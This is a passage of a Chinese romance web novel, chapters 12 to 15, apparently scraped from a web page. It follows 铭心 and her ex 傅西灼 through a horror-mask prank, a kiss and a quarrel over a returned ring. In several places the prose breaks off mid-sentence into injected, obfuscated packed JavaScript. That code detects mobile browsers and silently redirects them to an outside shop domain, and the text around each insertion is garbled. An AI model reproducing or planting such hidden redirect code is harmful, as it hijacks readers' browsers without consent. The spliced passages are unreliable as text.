“电影快结束了,”铭心看一眼进度条,“看完再写吧。” 小来绕到最左边坐下。 铭心重新扫了眼三个人的位置。 他怎么突然离她这么近了? 什么时候移动的? 温热手掌的触感还残留在眼睑,铭心感觉自己心跳得有点快。 后续的观影过程中便一言不发,也不跟他对视。 电影开始播放片尾曲,小来突然冒了句声:“我在学校的时候,”她说,“同桌跟我表白了。” “嗯,然后呢?”以为她要分享少女心事,铭心很捧场。 “本来是很好的朋友呀,所以我没拒绝他,也没答应他,但是呢第二天,他突然不跟我说话了,我主动跟他说,他表情也很不自然,好像不敢看我。” 小来顿了顿。说:“就像你们现在这样。” 小来接着问傅西灼:“你跟她表白了吗?” 铭心:“……” 被问的傅西灼:“……” 傅西灼:“你觉得会吗?” “喔,那就是吵架了。” “对。”两种谣言取其轻,铭心选了:“吵架了。” “那你们什么时候和好?” 小来瞪着大大的眼睛,问她:“明天能吗?” 又问他:“后天能吗?” 铭心关了电视,蹭蹭她刘海:“去写作业吧。” 小来走了,把面具给她留下了。 铭心拿着那面具把玩了一会儿——说实话比电影里的道具吓人点儿,但确实吓不到她这种能面无表情鉴赏数部精品恐怖片的人。 她回头瞟一眼傅西灼,有点好奇:“明明知道我不怕这些,你干嘛还装护花使者?” “既然不怕,”傅西灼拎起她手腕,目光钉到腕表上,“那这个,是有别的原因吗?” 铭心一看,她的表盘上不知什么时候开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315366|198943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始,显示出四个大字—— 心跳过速。 后面还跟一个巨大的警示符号。 这好像是她自己设置的阈值提醒来着,忘了设置多少了,上班期间一直也活人微死没怎么触发过,今天算是莫名着了他的道儿。 她按熄了表盘,一时尴尬起来。 如果是因为看到“鬼”,吓到了所以心跳加快,那很可以理解。 可她偏偏事前否认了这点。 那这不就很奇怪吗? 就好像…… 好像她是因为他的“保护”和触碰。 而感到小鹿乱撞似的。 想了想,铭心干脆把表摘下来,打开了声音并且调到最大,一言不发地戴到他手上:“可能是坏了,送你吧。” 他怔了一瞬,抬眼看她,倒也没摘。好像没能看出她心里憋着的坏主意。 “姐姐!”正在房间做明天要用的方案呢,小来在门外敲。 门一打开就兴奋地报告:“我写完作业了,走吧,给你展示下!” 蹦蹦跳跳将她带到了走廊最右边的一间屋子,小来骄傲宣告:“我以后的梦想是做恐怖片导演!” 铭心正全神看那些面具,觉得一个小朋友手艺和脑洞这么精湛很不可思议,很厉害。大概因为她没回话,小来的语气明显低落下来:“我不适合做导演吗?” “怎么会。” “我妈妈说女孩不适合干这一行。” 铭心摸摸她的耳朵:“女孩什么都适合。只要你喜欢就好了。” 小来眼睛里又有了亮光:“那姐姐你选一个喜欢的,我送你。” “我选……这个!”铭心指了最中间的一个,又问:“我要用它去做一件不那么光辉的事业了,你介意吗?” 小来鼻子皱出几道细纹,“咦”了声:“你肯定是去恶作剧吧?吓唬谁?我能参与吗!” “下次,”铭心继续哄小孩,“下次喊你。” …… 走到傅西灼门前。 敲了敲门。 铭心迅速躲到一边。 一、二、三…… 五秒后,门开了。 她以最快的速度冒出来,贴脸怼到傅西灼面前。 “……” 跟预想中的尖叫或者后退不同,迎接她的只有一阵死寂的沉默。 怎么会? 第一次电影院约会的时候他还害怕得抓住了她手呢。 又等了会儿,从小洞里瞥见他戴着的手表毫无反应,铭心才把面具摘下来,泄了气。 “你一点都没被吓到?” “知道吗,”他做了个敲门的手势,“你总是两快一慢,敲三下。” “……原来你都知道是我了。” 那怪不得不害怕,因为早有准备啊。 “没意思,你就不能假装配合我一下吗?” “可以。” 啊? 没想到她随口抱怨的一句能得到他的肯定回应:“你说真的?” “嗯。”他视线越过她,看到门边,微抬下巴示意:“再试一次。” 而后他配合地转过身。 铭心信了他的邪,又哒哒哒跑到门外。 深吸一口气,戴好面具…… 已经贴在他身后了,正准备抬起手拍他肩膀,那瞬间,他回了头。 “——”太、太近了,她连呼吸都屏住。 距离没把控好,他又弯下了一点腰,两人之间简直薄到只剩一张面具的距离。 他并没有做出任何约定好的、“配合”她的表情和动作,而是面无表情地,用手。 摘掉了她的面具。 13. 第 13 章 嘴唇在她唇边两厘米处,她退一寸,他就攻一寸。 要碰不碰的,呼吸游在她脸上。 铭心反手捂住他嘴巴,像推一只黏人的在人身上上蹿下跳的小狗一样,向后将他一推。 下一秒,她手猛地弹开,飞快地往他手臂上摩擦。 “你有病啊?”她骂他。 手心的那点湿润没了,却还残留着方才的痒,附带一点舌尖的温热。 她怎么也没想到他会探出舌头舔她掌心! 铭心刻意地把脸冷下来,问:“你属什么的?” “怎么。”他毫无愧意厚着脸皮,“你又要养宠物?” “我养你。”铭心气。 他含笑欣赏着她生气的表情,很玩味的,弯了弯嘴角:“你不适合。”他说着,那笑也冷下来。 “养了也很快就抛弃了,养来干什么?” 铭心一愣,没想到他会从她最薄弱处攻击,也没想到他会阴阳怪气到这种程度,一时没了话说。 恰好手机响了,她接起来,是小来。 “我去你房间找你你没在,你不会去那谁房间了吧?” 铭心没应声。 “忘了说我只是叫他来看恐怖片,没有提议别的哦,另一项是我逗你的,你们不要做奇怪的事。” “……” 挂断电话,铭心有种强烈的被耍了的冲动,同时又觉得松了一口气。 她真以为他会亲她呢。吓死。 该走了,她从他手里去扯面具,没扯动。 “这是送给我的,你能别抢吗?”她瞪着他。 “还没解释你为什么要用这么丑东西来吓我。” “你也吓我了啊,突然当什么护花使者捂人眼睛,”铭心有些欲盖弥彰地补充一句,“我怕黑不知道吗?吓得我小心脏砰砰的呢。” “怕黑所以心跳加速了?”傅西灼笑了声,语气很不屑,“每次看爱情电影都要关灯的是谁?” “爱信不信。” “我当然不信。” 铭心没招儿了:“你是不是误会了什么?还是说你以为有别的原因?” “我以为的原因说出来你会喜欢吗?” “你完全就是误会了吧?” “不回答我的问题却一直对我提问呢。”傅西灼冷笑。 “……”哪有一直,才问了两个好吗! 不过既然要讲究礼尚往来,铭心很慷慨:“那你重新问,我现在回。” 空气安静了几秒,他开口。 “承认自己对我感到心动这件事。” 铭心:“……” “让你这么难堪吗?” 铭心:??? 谁心动?心动谁? 不清楚此时在她脸上有没有表现出她想表现出的极度荒谬神情,总之,为了更显而易见些,铭心又用一种坚定的语气,一字一顿地否认道:“我、没、有。” “没有难堪还是没有心动?” “都没有。” “全都否认的话让人很伤心啊。”他突然表露出他很擅长的“我真的伤心了”的可怜演技:“就选一个骗骗我不行吗?” 绿茶,我才不会被你骗,铭心想。 “好啊。”她装作用力思考了,过了几秒后才说:“那‘难堪’前面的否定词,取消。” 说完,铭心端详他脸上的表情,并没看出“满意”这一项。 他就只是看着她,一直。 像是没被说服。 铭心只好又补充说明:“说我对你心动了什么的……像这种的,诬陷,”她强调,“你的诬陷让我很难堪。” 沉默良久。 他才面无表情地回了声“哦”。 哦完,他说:“早点习惯吧。” “嗯?……什么?”铭心懵了。没奢望得到他的纠正和停止散布此类谣言的保证,但想象中起码他不应该是这个反应。 “感到生气、难堪、无语,”他顿了顿,用一种微微挑衅的目光看进她眼里,“像这种因为我而情绪波动的时刻,以后还会有更多。” “……”铭心越听越觉得超出了她能理解的范畴。 “为什么?你存心的?” “当然。”他答得很爽利,“存着极大的坏心。” - 第二天早饭是在葡萄园吃的。 冬天的葡萄园很萧瑟,大太阳伞下支了张方桌,桌子很大,三个人坐有些宽敞得过分。 羽绒服厚,吃着不很方便,铭心本来脱了,因为冷又穿上。小来也是一样,自己先穿上了,又问傅西灼是不是在耍帅不穿。 被问的人没吭声,只帮忙切好了三明治,穿一件南瓜色粗针绞花毛衣,沉默着耍着帅吃完了一顿饭。 肚子饱后,陈银过来了。 “我今上午有事,原定计划得往后推推了。”陈银今天没穿工作服,个子高高、身材清瘦,穿很随意的阿迪达斯运动套装,看起来不超过三十岁。把笔记本电脑拿出来,他说,“有几个要点我大体说说,你花点时间修改一下然后我们再详细讨论。” 与长相相符,陈银工作起来也很干练,不拖泥带水,意见切中肯綮。工作结束了,他把电脑一合:“还有点时间,我们可以聊一会儿。” 大概想拉近关系,又或者是个人爱好,聊了没几句,陈银突然开始讲冷笑话。 “不太好笑是吧?那我再讲一个。” 他讲第二个了,铭心脑子里还在盘旋着方才的那个。 她笑点很低,对这类事情的反应却慢。通常搞笑的事情出现好一会儿了,她才终于想明白笑点在哪里,后知后觉地笑出声。 “看来比刚刚那个好笑啊。”陈银见她笑,停下正在讲的梗,看着她,也笑了,“但我还没讲到最有意思的地方呢。” 铭心笑得眼睛都弯起来:“刚才那个更好笑。不过你得走了吧?”她起身:“正好我也得走了。” 在户外的时间一长,她慢慢就觉得冷。穿羽绒服都觉得冷的话,那穿大衣的肯定更冷。 “我会再联系你。” “好。” “工作暂时结束了,”她走到葡萄园的一角,拽了拽傅西灼大衣上的腰带,想把他往别处带,“这太冷了我们进屋暖和一下吧。” “不想。”他对着个葡萄藤在拍照,嘴上说:“这挺好的。” “?” 好在哪儿? 铭心不清楚他这是搞哪一出,疑惑着,凑到他用相机对着的葡萄藤前,看了看。 “你不都拍半小时了吗,一直拍同一棵,它有这么眉清目秀吗?” 她瞅瞅那枯枯的枝条,又转过脸来看他:“没你好看啊。” 说完,她摁了镜像翻转,让傅西灼的相机镜头朝向他自己:“进屋去自拍好吗?这里快冷死了。” “不冷。” “你就没觉得不舒服?没感觉冻得脑袋疼?” “确实挺不舒服的。” “看吧,”本来只是想危言耸听一下让他快点跟她去暖和的地儿,他一下给了肯定的答复,铭心瞬间又紧张起来,“哪里不舒服?” “呕吐算吗?” 傅西灼收起相机,两手插兜,站得很潇洒。 “刚才你们在那笑的时候我一直想吐。” 铭心:“…………” - 下午一点。 办公室暖气很足,暖和到有点让人犯困。 “言下之意……”铭心尝试提炼出陈银话里的意思,“就是说虽然升级的这个系列喝起来跟旧款没多大区别,但我要画出来区别,对吧?” 陈银点头。 铭心又试着问:“那多少还是有点区别的吧?” 掌珠找她接这活儿的时候也说过,相比传统渠道,她爸并不太认同新媒体宣传那一套,也不看好。是她作为年轻人想做出点创新。陈银是她爸手底下的人,干活虽麻利,但对这活儿持不怎么上心的态度。 陈银出去,没一会儿,推了个小推车过来,里面全是酒。 “你可以尝一下味道,作为参考。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一股刺鼻的味道直冲鼻腔,皱着鼻子,她拍他肩膀:“傅西灼,起来喝药了。” 睡着的人醒了。 见他睁开眼,铭心立刻撇过头,当作什么都没听到过,只把解酒药递给他。 片刻,那解酒药又分毫没少地放在了她手边,还拧实了盖儿。 “……”铭心微微地,上来点火气。 “现在是借着醉酒的名义连话都不听了想为所欲为是吧……” “嗯。”他截断她的话,“正这么想着呢。” “想、什么?” “为所欲为。” “……”铭心觉得呼吸都要不畅了。 那药突然倒了,玻璃瓶的,一声脆响后又咕噜咕噜在地上滚。 铭心给抓回来,在地上立好。一抬眼,他正盯着她瞧。 眼神朦胧的,从她的眼睛,溜到她的嘴唇。 脑中轰的一声。 她想到他方才很……的“梦话”。 “你,没睡?” “嗯。”他答得很乖,“因为你说我不是睡美人所以没能睡着。” 她想起身,被他一拉,跌坐在地上。 “刚才明明说可以呢。” 低沉而略带委屈的声线。 他凑过来,用一条手臂围住她纤细的腰肢。 稍一使力,她整个人向前一拥,被迫跟他鼻尖触着鼻尖。 “那是……”她想说出点拒绝他的话,但因为想这些话而忘记了躲避。 他的吻就攻下来。 轻而无隙,混合着酒液的香气。 与此同时。 他腕上那只本属于她的腕表,发出最大音量的、尖锐而兴奋的喊声—— “心跳过速!心跳过速!” 14. 第 14 章 傅西灼解了那腕表,掷到四周看不见的黑影里去。 闷闷的一道响声,铭心忍不住开始想:那表是多少钱买的来着?用了几年了?要是摔坏了还要买新的吗? 脑子里却嗡嗡的,被他吻得发昏。 从喉咙间不断溢出哼声——短的,模糊的,不成文的。 她觉得自己好像是在水里冒头……他是溺没她的水面。 用蛮横的波,拦截着她的每一次“逃亡”。 唇瓣与唇瓣拉开一点“银丝”,总算放过她,她得了一点空气。刚要说话——骂,或者威胁他半句,也好。 他就又吻上来。 干脆就不说了,只张着嘴一呼一吸,试图从他狭小的包围圈里抢夺空气。他却误把这当作了迎合,舌尖一挑,轻巧地探进去。 “唔……” 她求救的呻吟炼化成毒药,渡到他嘴里,使他停了一瞬;很快,铭心意识到那“毒”的副作用:他吞下去,却弄她弄得更狠。 铭心推他,捶他,最后浑身都发着抖。 不知是暴力起了效还是中场暂停,他卸了一点力,松开她,眼睛里一层水光,在昏暗的光线里濛濛地看她。 她觉得他的眼也有活气似的,沿着她的眼睛,鼻子,嘴唇勾画着,只是虚虚地一看,就让她如临大敌。 铭心又把他一推,用的力气不小,但那力气好像单单只反弹给她了——她头发乱下来一缕,买解酒药找回的零钱也散了,从兜里往外吐。 她抓起那些钱,开始胡乱地往他怀里塞。 “交易,取消。” 手还很抖,呼吸也不稳当,她几乎忘记了怎么大口喘气,逼仄黏稠的气流逼到眼睛里,惹得快要落下泪来。铭心忍住了,那点泪珠在眼睛里晃。 她用平静的声线重申刚才那句话的主旨:“我再也不要你为我工作了。” “哭了?” 他声音还是哑的,压低了。 “谁哭了?以为这样就能欺负到我吗?”含着泪,铭心不承认软弱。 他当然也没管那些钱,没人管。 零钱就慢慢地,一存一寸经过他的身体往下滑,有枚硬币先滚下来,在寂静的空间里呼呼打转。 转晕了,跌在地上,发生金属的一声脆响。 铭心这才发觉自己有多慌不择路。 她低下头去,控制住发抖的手,慢慢将地上散落的现金一张一张捡起,捋得整整齐齐,插进他的大衣口袋里。 “佣金,回去自己数吧,我不知道够不够。” 说完,她起身去找手表。 蹲在角落的暗影里,听见他笑了声。 “现在这种情况该慌张的人是我。” “什么?” 手表没坏,她起身,转过头。在黑暗里看,他那地方显得格外亮。 打在他身上的灯光,刚才也曾打在她的身上。 他在那光里朝她看,睫毛很长,鼻子很挺。 唇边有口红,吃了她的。 口红印乱乱地花在嘴上,他用手指抹了一把,抬起眼来回答她:“是说我打算去医院看看了。” “心跳好像不听使唤呢。” - 两周后,铭心出差回来。 小区快递柜发短信说有快递到了,她取出,拆开,愣愣地看了半天,慢慢笑出声。 疯了吗? 还真把体检报告单寄来了。 该有的不该有的项目全都有,一张张看下去,最后还压着一张标签,写:“质量绝佳,各方面都。” 有必要查这么详细?不知道的以为俩人要谈婚论嫁呢。 刚想打个电话关心一下他是不是精神失常了,一抬头就在楼下看见一辆熟悉的车。 虽然记不得车牌号,但……很像是他的车。 可是没道理啊,他的车怎么会停在这里? 行李箱的轮子咕噜咕噜,铭心本来都走过了,又咕噜咕噜拉回来。 车窗户映出她自己的脸,像一面镜子。 哇真的……铭心走近了一些,对着“镜子”不由得感叹,人怎么能在熬夜又舟车劳顿之后还这么漂亮呢? 看自己看开心了,又对着拨弄了会儿头发。正整理着碎发呢,车窗突然“刷”一下降下来。 傅西灼的脸出现。 “……” 摸在头发上的手又去摸了摸行李箱,最后又摸回头发,实在尴尬得紧。铭心终于忍不住一掌拍在窗框上,好奇:“正常的窗玻璃会下降这么快吗?” “不会。” “那你的?” “说了我有钱。”他解释:“很多钱。” 铭心把手收回去,斜他一眼:“你在这怎么不出声?” “我在休息,看不出来?” “住富人区的人在我们小区休息什么,变形记体验生活啊?” 片刻,他别开眼神,“只是路过。” ……理由还真稀奇。 顿了顿:“你都看到了?” 想到他刚才全程观看了她孤芳自赏的过程,铭心就恨不得把他打晕再按个一键清除键。 “你说这个?”手机屏幕朝外,他举着,正在播放视频。 她的视频! “……”是有什么特殊癖好吗居然把她刚刚的样子全部录下来了!? 铭心简直不敢睁开眼。 斟酌了一会儿语言,她好声好气:“看你窗玻璃擦得挺干净的,我稍微利用了一下,大不了赔你精神损失费,视频就删了吧。” “不用赔。”他晃了晃手机,“我精神良好,尤其看完这个感觉更好了。” “……”无语了真的。 “不删的理由是什么?”感觉已经被他训练出来厚脸皮了,极短的时间里铭心就想出了个以毒攻毒恶心他的好办法:“准备拿回家偷偷欣赏是吧?” “光明正大拍下来的,怎么叫偷?” “光明正大。”铭心抢他手机,“你先把你黑乎乎看不见人的窗玻璃换了再说光明吧!” “我能看见你啊。” “看你个大头鬼!”铭心更火了。 她一抢,他手跟着抬,她往上追高,手背马上磕到车顶的时候,碰到了他的手。 “要装绅士就直接还我,别搞这种假模假样的体贴行吗。”铭心不屑。 傅西灼把手机往后座一扔,锁了后座车门,又打开驾驶座的门。 下车往车门上一靠,盯住她。 铭心嘴角一扯:“看楞了?被美呆了?发现我本人比视频好看十倍?” 他点头:“很明显。” “既然很明显为什么还一直看?稍微扫一眼就能看出来的事,不用这么目不转睛盯着我瞧吧?” “因为想看出点不明显的。” “……什么?” “想分辨一下你现在是什么表情。” 铭心不懂他在说什么。 他在笑,她却懵懵地,也看不懂他为什么笑。那笑也极淡的,到不了眼睛里去。 好一会儿,他才继续: “讨厌见到我的表情,看到我很吃惊的表情,还是……” 啊,原来在“分辨”这些。 “没有积极一点的选项吗?”铭心打断他,说:“你预想的答案都太消极了。” 站累了,她往行李箱上一坐,仰脸看着他,继续道:“我就只是,好久不见,原来上次见到已经是十天前了啊——这样的表情。” “十四天前。” “……”有必要算这么准确? 铭心噎住,过了几秒才问:“那十四天的相见礼仪是什么样的,要握个手吗?” “幸好。” 什么幸好……应该说幸会吧? 他把手握上去。 “还以为又逃跑了。” 他以为她又会像以前一样? 铭心弯了弯唇。 “没理由逃跑啊,以为我会被你吓跑?” “上次那时候,看起来是。” “怎么说?” 个子太高,老看他挺累的,铭心垂下眼看地上打滚的落叶,觉得他的声音像风吹寒叶一样萧瑟。 “天天吃便利店饭团的人,却塞了我那样一大把钱,很难不怀疑是想打发我最后一面。” “饭团挺好的啊。”铭心抬头,寒暄:“吃饭了吗?” “没吃。” “那快回家吃吧。” “……”没料到是这样的答案。傅西灼的表情很无语。 怎么了,铭心想,回家吃饭总比在这跟我扯闲淡有意义吧? 默了会儿,他说:“推荐一下,我不了解这附近有什么吃的。” “所以要你回家吃啊。”铭心又劝。 “不回。” “……” 什么情况。怎么突然跟个小孩似的闹“我不回家我不回家”。 铭心觉得他这幼稚样挺好笑的,就笑着给他指路:“最贵的那家从小区出去往西走再直走过一个红绿灯就能看见招牌了。” “哪边是西?” “左,从小区出去往左走再……” “哪边是左?” “……”铭心沉住气,“你故意的?” “没故意。”语气半欠不欠的,把行李箱连同她一块拉近。 他说:“来的路上看到左边路面结冰了,两个人一起走更安全吧?” “非也。”铭心摇头拒绝了一个同行请求。“你摔倒的话我会哈哈大笑然后拍视频上传的,所以还是你自己走更保险。” “我让你拍,当还你的。” 铭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这就久啦?”铭心不以为然,开玩笑:“难不成你每天来我家楼下所以感觉度日如年?” “嗯。”没想到他真给了肯定答案。 “每天。” “抱着比预想中的答案更消极的心情,想着你欠我的东西又要还不上了。 “要向你讨到什么时候呢,下辈子吗?” 没想到他会说这些话,铭心听得耳朵发热。 直到服务员上完菜走了。 她才跟什么都没发生过一样,问他:“你偷喝酒了吧?趁我刚才不在的时候。” 肯定是,不然怎么突然开始说一些奇怪的话? 没得到回音。 好一会儿,他才往嘴里送了一筷子天价菜,很慢很慢地嚼着,没什么滋味地,抬起眼来看她,问:“我看起来不正常?” “是有点啊。”铭心点头,实话实说。“不过我给你准备了礼物。” “驱魔的?” “……”什么驱魔。 铭心瞪他一眼,从包里掏出来。 是出差时碰见的磨牙棒,因为形状比较特别,买回来给摩卡玩的。 绿色棒身上有挺多“刺”,勾出了她包里的有线耳机,又连带着稀里哗啦淌出来几样,她没顾上捡别的,单分离出磨牙棒递过去:“给。” 傅西灼没接,弯身去捡她散落的药。 那药原本有十二颗,现在只剩三颗。 他看了几秒背面锡箔上印着的字,突然问她:“过得好吗?” ……嗯? 铭心一怔。 眼眶开始发热。 这样的对话她想象过千百次,在分开的日子里。 用磨牙棒强行换走他手里的药,塞回包里,铭心回:“不好。你要是打算幸灾乐祸的话现在就可以开始了。” 他攥在手里,掌心对着那玩具上的刺,按下去,又松开,再按下去。 “相比幸灾乐祸,正打算威胁恐吓。” “恐吓的内容是什么?”铭心无所谓地笑了声,手上乱七八糟地剥一个橘子。 “想说你最好不要……” 橘子剥好了,她顺手递给他。 “不要费力逃开了我,却又过得不好。” 铭心心里一震,想抬眸看他,视线却最终只上升到递向他的橘子。 那橘子小小一个,他爱吃的。却没接。 指尖越过它,径直钻入她的虎口。 轻轻抚摩。 15. 第 15 章 车子停在小区楼下。 铭心拉门把手,打不开。 回头让他:“把锁解开。” 傅西灼趴在方向盘上,额头抵着手肘,转过脸来看她。 “历铭心,我胃疼。” 铭心瞬时慌了神。 “怎,……怎么了?” 他又把脸埋下去,不吭声。 “附近应该有医院你忍一忍啊,先喝点热水?有吗?”边说着她边搜索地图,手忙脚乱的,恨自己不能再长一双手能去给他找点暖胃的东西先吞下去。 找到了! 五公里外有一家,开猛点应该很快就到了。 “我们去挂个急诊。”铭心准备换到驾驶位去,一拉,车门还锁着。 “你先下来。”她说,“我开着去。” “你连挂挡都忘了吧?”很弱地,他说了一句。很了解她。 铭心脸一热。 她拿驾驶证已经好几年了,考下来证之后就没再碰过车,他说得没错。现在重新上手磨叽着去,大概率也快不了。 “那你在这等着,我去最近的药店给你拿药。” “不用。” 他抬起脸来,嘴唇没什么血色:“就一阵,捱过去就好了。” “不行。” “我现在已经好了。” “不,行。”铭心不信他。“你开锁,我求求你。” 他固执地看着她:“再待一会儿。” 铭心快急哭了,语气里带了恳求:“拜托……” 锁开了。 铭心即刻奔出去。 她上学时候就是短跑健将,路上堵了一溜的车,迅速判断路况后她放弃打车一路狂奔。 以此生最快的夺命速度奔回来,她胸口堵着,喉咙泛着血味,说不出话。 她狂打手势:“这个里面的,全喝掉,这个药片,一颗。” 他手语理解能力挺强,很快按照她比划的步骤喝完了,把保温杯还给她,问:“哪来的?” “便利店买的。”铭心在意他的洁癖,“你放心,杯子我绝对刷干净了的。” 热乎乎的汤药喝下去,他眉头展开了些。铭心放下一点心。 “你的工作,稳定吗?”看来是舒服了不少,居然都有闲心关心她的工作了。 “嗯。”铭心答得很真挚,“不倒闭的话就还行。” “效益不好?” “效益不好的话要怎么样,”铭心开玩笑,“少爷您已经准备好了收购案?” “也不是没可能。” 他好受了,铭心也舒心,聊得很放松:“人民教师当腻了又能当回霸总,可真羡慕您不用天天在工位上坐牢。” 他没应声,铭心又瞟他一眼:“说实话吧,你打听我们公司干嘛,不会是去当领导然后凭借私人恩怨辞掉我吧?” “相反。”他摇摇头,“我希望那份工作能留住你。” “嗯?”铭心没理解他的意图,“为什么?” “因为……” 只有两个字,后头就断了。 他闭上眼,开始闭目养神。 铭心静静陪着他,看看表,这药十分钟就能起效,他很快就会不疼了。 她也该走了。 准备开口跟他道别的时候,他突然地,似梦似醒地出了声。 “因为……我不是留不住你吗。” - 回到家,铭心开始剥橘子。 机械般的,一直剥,又一直吃。 桌上全是破破烂烂的橘子皮。 她去洗手。 水流透明,在黄色的灯光下,就变作了黄颜色的。她把手伸在下面,让水流过每一根手指。 恍惚间,那水也透出柑橘类清香……带有微黏的触感。粗糙的,在动的指腹,一点一点地侵占着她的皮肤。 他帮忙擦,摩挲着提醒: “沾上了汁水。” …… 来不及等休息日了,铭心痛定思痛,决定勤学苦练,下了班就开始练车。 绝对不再发生上次那种无力的、慌乱的情况。 教练是业余赛车手林纵。 “你是斜杠青年吗?”铭心忍不住发问,“又当程序员又当模特,还玩赛车。” “这车不是我平常玩的那辆,比较旧了,你可劲儿造就是,没关系。” 铭心系好安全带:“那你坐稳了啊,扶好。” 几条大路,绕着跑了好几圈,铭心饿了。 “去吃饭吧。”林纵也听着了她肚子的咕噜声。 “我回家再吃,今天谢谢你了。” 拒绝了邀约,铭心准备去家附近的便利店解决晚饭问题。 突然手机震了声。 傅西灼。 居然主动。 给她传来了消息。 锁屏显示[图片]。 是什么呢? 怀着激动又好奇的心情点开。 是戒指! 她丢失的那枚。 一时之间难掩激动,铭心咔咔打字:“我今晚就有空,能去拿吗?”都没考虑他想不想让他拿。 【可以】 铭心:【那就七点半】 他发来个餐厅地址:【在这里见】 对话到此终止了。 手指上划,又滑到上面的几张照片。看着看着,恍然有种时光回溯的感觉。 她想到他们从前的聊天记录。 比这要多得多。 …… 餐厅,靠窗的座位。 抬腕看看表,才刚过七点。 半小时前他在春林路偶遇了她,和另一个人。 单方面的偶遇,他们并没有看见他。她开着车,副驾驶座上…… 他懒得再想那张男人的脸,只觉得厌烦。 窗外的人像水一样流过,傅西灼此刻全无在意,只在心里把有关她的一切都计算着。 他们在一起是干什么? 她笑得很开心,是因为谁? 他们是不是在约会? 想到这,傅西灼立即起身。 他恶意地发过去戒指的消息,企图打断他们的“约会”。 可他仍害怕她会不来。 …… 此刻站着的路口是她过来的必经之路,他提前在这里等,以杜绝她走到半路又逃跑的可能性。 天已经完全黑了,月亮还挺亮,比她那天发来的胖了不少。 对面变了绿灯,穿绿色荧光服的人吹着哨打手势,这边积攒的一波人和电车立刻涌出去。 傅西灼往电线杆那挪了挪,路过的人依旧不断地与他擦身。 只有这天的街道拥挤得吓人,还是说平常也这样? 他没有概念。 换做往常,他绝不会傻站在这里,任由路人乱七八糟的衣角和浑浊不清的气味沾染到他身上。 汽车,电车,行人。这里横冲直撞的东西太多,几乎到了令人不适的地步。 而财富,就是用来隔绝这些的。 刺耳的喇叭声又一齐响起,像是在吵激烈的架。傅西灼站在原地,突然觉得自己荒谬。 他有足够的钱摆脱不适,却来了这里。 像个傻子似的受罪。 抬头。 一辆公交车被前面的车流堵住,横在马路中间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328746|198943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,遮挡了后面的红绿灯。 他在心里下了决心,如果是红灯,就头也不回地走。 车流开始缓慢移动,信号灯从公交车的尾巴那露出一点颜色,是红色。 正要转身,紧跟着那红色又露出历铭心的一片衣角。 然后是整个人。 她整个人。 ……跟那个男人抱在一起。 一秒、两秒…… 两秒后,他们分开。林纵的脸从她肩膀上露出来。 红灯变绿,她已经看到了他,朝他迈出步子。 很短的路,他却觉得她走了很久。 走到他面前,她伸出手来。 四目相对,傅西灼看着她,没等来任何一句解释。 而后他掀起眼皮,目光越过她肩膀,看向对面。 林纵还没走,他用手势告诉他:我在等你身前的人。 “还真是难舍难分。”傅西灼不想笑,可笑意已经从嘴角溢出来,很苦的,混着嘲讽。“感情已经深厚到忍不住在街上上演俗套偶像剧?” 他问她。 却没有想要她回答的意图。 因为那答案不见得是他想听的。 铭心手插在兜里,叹了口气。 “看过电视剧吗?”她用表情告诉他,她并不是想解释,只是提供一种思路:“这种情况一般都是乌龙事件吧?就像我刚才也是。” “没什么区别。”他用最不在乎的口吻说。 不管出于什么原因,是无意还是有意,他都觉得那画面扎眼到不行。 “那就当我多话了。” 虽然事实确实如她所说的那样,是一场误会,不过眼下这也不是最重要的。 铭心不打算再谈起这件小插曲,而准备说到正事。 “戒指……” 说完这两个字,她抬眼。 见他脸冷着。 担心因为刚才的不愉快影响了他心情以至于导致不成功,铭心能屈能伸地换成请求的语气:“能还给我吗?” 傅西灼双手插兜,往路边邮筒上一靠,姿态懒散而冷淡。 很长很长的大衣,在他身上却相当熨帖,好看又有型。 半晌,他垂下一点视线,睥着她,缓慢地勾起唇角。 “好像不行呢。” “是你说了可以我才来的。” “我约历小姐来,是想谈一谈戒指的归属问题。 “如果没记错的话,它在四年前应该属于我。” 铭心不同意:“送了人的东西怎么能再要回去?” “我亲手做了,送给女朋友的。”顿了顿,他抬眸,“你是吗?” 哇……这人。 铭心立刻想到分手后向女朋友追回礼物甚至水饺钱的男人。那类人,傅西灼向来以为不齿并把他们鄙视为贫穷的loser。很显然,他不肯归还戒指,一定是出于某种完全相反的报复心理——不为财,而为毁。 他想毁掉他们的爱情见证。 但铭心还是尝试着劝:“我是觉得你现在留着它也没有什么用了,不如还给……” “是没用。”傅西灼截断她的话,“但,丢了,熔了,怎么不行?” 果然……宁愿就这样处理掉吗? 